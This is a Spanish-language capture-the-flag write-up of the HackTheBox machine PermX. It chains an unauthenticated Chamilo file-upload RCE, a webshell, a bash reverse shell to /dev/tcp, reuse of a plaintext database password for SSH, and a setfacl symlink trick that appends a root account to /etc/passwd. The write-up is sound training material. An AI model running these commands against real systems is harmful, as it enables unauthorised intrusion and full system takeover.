the_open_door
café
ESEN

PermX

HackTheBoxFácilLinux10.10.11.23

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#chamilo#lms#file-upload#vhost#rce#credential-reuse#sudo#setfacl#acl#linux
TL;DR. PermX es una máquina Linux fácil. El puerto 80 sirve una web corporativa de e-learning; por fuzzing de virtual hosts aparece el subdominio lms.permx.htb, que corre Chamilo LMS. Una versión vulnerable permite un upload de fichero sin autenticar (el fallo bigUpload): subimos una webshell y obtenemos ejecución de comandos como www-data. En la configuración de Chamilo hay una contraseña de base de datos en claro que reutilizamos por SSH para el usuario mtz y cogemos user.txt. mtz puede ejecutar por sudo un script que invoca setfacl; al no resolver enlaces simbólicos, abusamos de él para darnos permisos sobre /etc/passwd y escalar a root.

Reconocimiento

Escaneo inicial

Empezamos con un ping. Además de confirmar que la máquina responde, el campo TTL (Time To Live) del paquete de vuelta da una pista del sistema operativo: cada SO inicia el TTL con un valor por defecto y cada router lo decrementa un punto por salto. Un valor cercano a 64 suele indicar Linux y uno cercano a 128, Windows. Aquí vuelve cerca de 64, así que apunta a Linux (es un indicio, no una prueba).

Lanzamos un escaneo TCP completo (los 65535 puertos) con nmap. Solo hay dos puertos abiertos: 22 (SSH) y 80 (HTTP).

nmap -p- --open -n -sS -Pn --min-rate 5000 -vvv 10.10.11.23

nmap descubre solo dos puertos abiertos: 22 SSH y 80 HTTP

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Sobre esos dos puertos pedimos versión y scripts por defecto (-sCV). El 22 es OpenSSH 8.9p1 de Ubuntu y el 80 un Apache 2.4.52, también Ubuntu, cuyo título es eLEARNING. nmap revela además que el servidor redirige a un nombre de host, así que hay virtual hosting.

nmap -p80,22 -sCV 10.10.11.23

nmap -sCV: OpenSSH 8.9p1 y Apache 2.4.52 (Ubuntu), título eLEARNING

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: eLEARNING
Service Info: Host: 127.0.0.1; OS: Linux

La web y el dominio permx.htb

Con whatweb perfilamos la tecnología del 80. Confirma Apache 2.4.52 sobre Ubuntu, jQuery 3.4.1, Bootstrap y, sobre todo, un correo de contacto permx@htb.com y el título eLEARNING. Ese correo nos da el dominio: permx.htb.

whatweb http://permx.htb

whatweb sobre permx.htb: Apache 2.4.52, jQuery, email permx@htb.com, título eLEARNING

http://permx.htb [200 OK] Apache[2.4.52], Bootstrap, Email[permx@htb.com],
HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.10.11.23],
JQuery[3.4.1], Title[eLEARNING]

Como la web usa el nombre de dominio (virtual hosting), lo añadimos a /etc/hosts apuntando a la IP para que nuestro navegador y herramientas lo resuelvan.

echo '10.10.11.23 permx.htb' | sudo tee -a /etc/hosts

/etc/hosts con la entrada 10.10.11.23 permx.htb

127.0.0.1       localhost
127.0.1.1       h4u
10.10.11.23     permx.htb

Al visitar http://permx.htb vemos una plantilla corporativa de una academia de formación online (Expert Instructors, testimonios de estudiantes). No hay nada explotable a simple vista, así que seguimos enumerando.

La portada de permx.htb es una plantilla de e-learning sin funcionalidad sensible visible

Descubrir el subdominio lms.permx.htb

El virtual hosting permite que una misma IP sirva varios sitios según el nombre con el que se la pida. Por eso, además de directorios, conviene fuzzear nombres de host: con gobuster vhost probamos miles de subdominios y nos quedamos con los que devuelven una respuesta distinta del comodín. Aparece lms.permx.htb.

gobuster vhost -u http://permx.htb \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
  --append-domain -t 50 --status-codes-blacklist "" 2>/dev/null | grep "Status: 200"

gobuster vhost descubre el subdominio lms.permx.htb con respuesta 200

Found: lms.permx.htb Status: 200 [Size: 19347]

Lo añadimos también a /etc/hosts y lo visitamos. lms.permx.htb muestra el panel de inicio de sesión de Chamilo, un LMS (Learning Management System, plataforma de formación) de código abierto escrito en PHP. Probamos credenciales típicas (admin:admin, etc.) sin éxito.

lms.permx.htb presenta el panel de autenticación de Chamilo LMS

El nombre no dice nada por sí solo, así que lo primero es averiguar qué es exactamente. Una búsqueda rápida basta: la ficha de la aplicación resume qué hace y, sobre todo, en qué está escrita.

la ficha de Chamilo en el buscador, con el logo, la descripción como LMS de software libre escrito en PHP y la fecha de lanzamiento 18/01/2010

Chamilo - Software
Chamilo es un sistema de gestión de aprendizaje o LMS, diseñado para apoyar a la educación en línea.
Es una plataforma de software libre escrita en PHP, cuyo propósito es mejorar la educación y su acceso
a ella a nivel mundial.
Desarrollador: Miembros de la comunidad de Chamilo y socios profesionales
Lanzamiento inicial: 18/01/2010

Dos datos importan de ahí. Que sea PHP significa que cualquier fichero que se logre escribir en su raíz web se ejecutará, y que sea software libre significa que el código está publicado y sus fallos tienen CVE y exploits públicos. Ambos van a hacer falta enseguida.

Shell como www-data

Chamilo: RCE por subida de fichero sin autenticar

Buscamos vulnerabilidades conocidas de Chamilo con searchsploit. Hay varias, según la versión.

searchsploit chamilo

searchsploit lista múltiples vulnerabilidades de Chamilo según la versión

Exploit Title                                        Path
-------------------------------------------------- ----------------------
Chamilo 1.8.7 / Do...                              | php/webapps/16114.txt
Chamilo LMS - Pers...                              | php/webapps/39474.txt
Chamilo LMS 1.11.1                                 | php/webapps/49867.py
Chamilo LMS 1.11.8                                 | php/webapps/45535.php
Chamilo LMS 1.11.8                                 | php/webapps/45536.php
Chamilo LMS 1.9.10                                 | php/webapps/36435.php
Chamilo LMS IDOR -                                 | php/webapps/39473.txt

La más interesante es un RCE sin autenticación a través del componente bigUpload (subida de fichero no restringida). Existe una PoC pública; al revisar su código vemos que apunta a dos rutas: comprueba /main/inc/lib/javascript/bigupload/files/ y ataca el endpoint /main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported, que acepta ficheros sin validar y los deja accesibles en ese directorio files/.

git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc
cd chamilo-lms-unauthenticated-big-upload-rce-poc
cat exploit.py

El exploit apunta a bigUpload.php?action=post-unsupported y deja el fichero en bigupload/files/

class ChamiloBigUploadExploit:
    def __init__(self, url: str) -> None:
        self.root_url = url
        self.check_url = f'{self.root_url}/main/inc/lib/javascript/bigupload/files/'
        self.vunerable_endpoint = f'{self.root_url}/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'

Aprovechamos ese fallo para subir un fichero PHP mínimo que ejecute lo que le pasemos por un parámetro (una webshell). Tras subirlo, el directorio files/ lo lista y nuestra webshell.php está ahí.

El directorio bigupload/files/ lista la webshell.php subida

De webshell a ejecución de comandos

Pedimos la webshell con el parámetro cmd=id para confirmar la ejecución. Responde con la identidad del proceso de Apache: www-data.

curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/webshell.php?cmd=id'

webshell.php?cmd=id devuelve uid=33(www-data): tenemos ejecución de comandos

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Con ejecución de comandos confirmada, lanzamos una reverse shell. Ponemos un listener en nuestra máquina y pedimos a la webshell que ejecute un one-liner de bash que nos conecte de vuelta (recordando URL-encodear los caracteres especiales).

# en nuestra máquina
nc -lvnp 443
# como cmd= (URL-encoded): bash -c 'bash -i >& /dev/tcp/10.10.16.x/443 0>&1'

Ya tenemos una shell interactiva como www-data. La estabilizamos con script/stty para poder trabajar con comodidad.

Shell como mtz

Las capturas cubren hasta el hallazgo de la contraseña de la base de datos; la parte final de la escalada (sudo -l y el abuso de setfacl) se reconstruye con comandos y explicación, sin reproducir valores que no aparezcan en las capturas.

Credenciales en la configuración de Chamilo

El primer reflejo tras una shell de www-data en una aplicación web es enumerar la máquina y leer la configuración de la propia app, donde casi siempre hay credenciales de base de datos en claro. Subimos y ejecutamos linpeas. Primero encuentra un .env.dist de una librería de terceros (gaufrette) con credenciales FTP/SFTP, pero son los valores por defecto del paquete (gaufrette:gaufrette), un callejón sin salida:

linpeas: .env.dist de la librería gaufrette con FTP/SFTP_PASSWORD=gaufrette, valores por defecto del paquete

Analyzing Env Files (limit 70)
-rwxr-xr-x 1 www-data www-data 326 Nov  3  2022 /var/www/chamilo/vendor/knplabs/gaufrette/.env.dist
AWS_KEY=
AWS_SECRET=
AWS_BUCKET=
AZURE_ACCOUNT=
AZURE_KEY=
AZURE_CONTAINER=
FTP_HOST=ftp
FTP_PORT=21
FTP_USER=gaufrette
FTP_PASSWORD=gaufrette
FTP_BASE_DIR=/gaufrette
MONGO_URI=mongodb://mongo:27017
MONGO_DBNAME=gridfs_test
SFTP_HOST=sftp
SFTP_PORT=22
SFTP_USER=gaufrette
SFTP_PASSWORD=gaufrette
SFTP_BASE_DIR=gaufrette

Conviene no morder el anzuelo: gaufrette es una librería de almacenamiento de Chamilo y ese .env.dist es la plantilla que trae el paquete, con usuario y contraseña de ejemplo idénticos al nombre del proyecto. Ni el FTP ni el SFTP que menciona existen en esta máquina. Es ruido, no una credencial.

El hallazgo bueno llega en la sección de contraseñas de los ficheros de configuración PHP: linpeas saca la contraseña de la base de datos en claro de app/config/configuration.php:

cat /var/www/chamilo/app/config/configuration.php | grep -i 'db_\|password'

linpeas: configuration.php de Chamilo con db_password = 03F6lY3uXAP2bkW8

$_configuration['db_password'] = '03F6lY3uXAP2bkW8';

La contraseña de la base de datos es 03F6lY3uXAP2bkW8. Enumerando /etc/passwd vemos que en el sistema solo hay un usuario real con shell además de root: mtz. Las personas reutilizan contraseñas, así que probamos la de la base de datos para entrar por SSH como mtz.

cat /etc/passwd | grep -i 'sh$'
ssh mtz@10.10.11.23    # 03F6lY3uXAP2bkW8

La contraseña se reutiliza y entramos como mtz. La primera flag está en su home.

cat /home/mtz/user.txt

Shell como root

Un sudo que llama a setfacl

Lo primero como nuevo usuario es revisar qué podemos ejecutar con sudo.

sudo -l

mtz puede ejecutar sin contraseña un script propio del sistema, algo como (ALL : ALL) NOPASSWD: /opt/acl.sh. Lo leemos para entender qué hace.

cat /opt/acl.sh

El script recibe tres argumentos (usuario, permiso y fichero) y llama a setfacl para conceder a ese usuario el permiso indicado sobre ese fichero:

#!/bin/bash
# (forma del script)
user="$1"; perm="$2"; target="$3"
# comprueba que target esté dentro de /home/mtz y no contenga ".."
if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
    echo "Access denied."; exit 1
fi
setfacl -m "u:$user:$perm" "$target"

Abusar de los permisos con un enlace simbólico

El control de seguridad del script comprueba que la ruta empiece por /home/mtz/ y que no contenga .., pero no resuelve los enlaces simbólicos: setfacl sí sigue el enlace hasta su destino real. Esa es la grieta. Creamos dentro de /home/mtz un enlace que apunte a /etc/passwd y pedimos al script que nos dé permiso de escritura sobre él; setfacl lo aplicará sobre el /etc/passwd real.

ln -s /etc/passwd /home/mtz/pwn
sudo /opt/acl.sh mtz rw /home/mtz/pwn

Con escritura sobre /etc/passwd ya tenemos el camino a root: añadimos una entrada con una contraseña que controlamos (o un UID 0) y cambiamos a esa cuenta. Otra variante equivalente es apuntar el enlace a /root/.ssh/authorized_keys y escribir nuestra clave pública, o a /etc/sudoers para darnos ALL.

openssl passwd -1 'pwned'           # genera un hash de contraseña
echo 'root2:<hash>:0:0:root:/root:/bin/bash' >> /etc/passwd
su root2                            # UID 0
cat /root/root.txt

Máquina rooteada.

Cadena de ataque

HTTP permx.htb (80)  ─►  whatweb: dominio permx.htb
  │  gobuster vhost
  ▼
lms.permx.htb  ─►  Chamilo LMS  ─►  RCE bigUpload (sin autenticar)
  │
  ▼
webshell.php?cmd=  ─►  www-data  ─►  reverse shell
  │  configuration.php (contraseña BD en claro)
  ▼
SSH mtz  (reutilización de credenciales)  ─►  user.txt
  │  sudo -l: /opt/acl.sh (setfacl)
  ▼
symlink /home/mtz/pwn ─► /etc/passwd  ─►  escritura  ─►  root  ─►  root.txt

Lecciones aprendidas

  • El virtual hosting esconde superficie de ataque. La portada de permx.htb no tenía nada; toda la cadena empezó al descubrir lms.permx.htb por fuzzing de vhosts. No basta con fuzzear directorios: hay que fuzzear también nombres de host.
  • Una webapp sin parchear es ejecución remota. El fallo de subida de Chamilo daba RCE sin siquiera autenticarse. Mantener el software de terceros actualizado y restringir qué puede subirse (y dónde se ejecuta) habría cerrado la puerta.
  • Las contraseñas de configuración acaban reutilizadas. La clave de la base de datos servía también para SSH de mtz: reutilizar credenciales entre servicios convierte un secreto de aplicación en acceso al sistema. Credenciales distintas por servicio habrían cortado el pivote.
  • Validar rutas no es validar destinos. El script de sudo comprobaba la cadena de la ruta pero no resolvía los enlaces simbólicos, y setfacl sí los sigue: un symlink bastó para escribir en /etc/passwd. Las comprobaciones de seguridad deben hacerse sobre la ruta canónica (realpath), nunca sobre la cadena tal cual la pasa el usuario.
Cheatsheet de comandos 15 comandos

Repaso rápido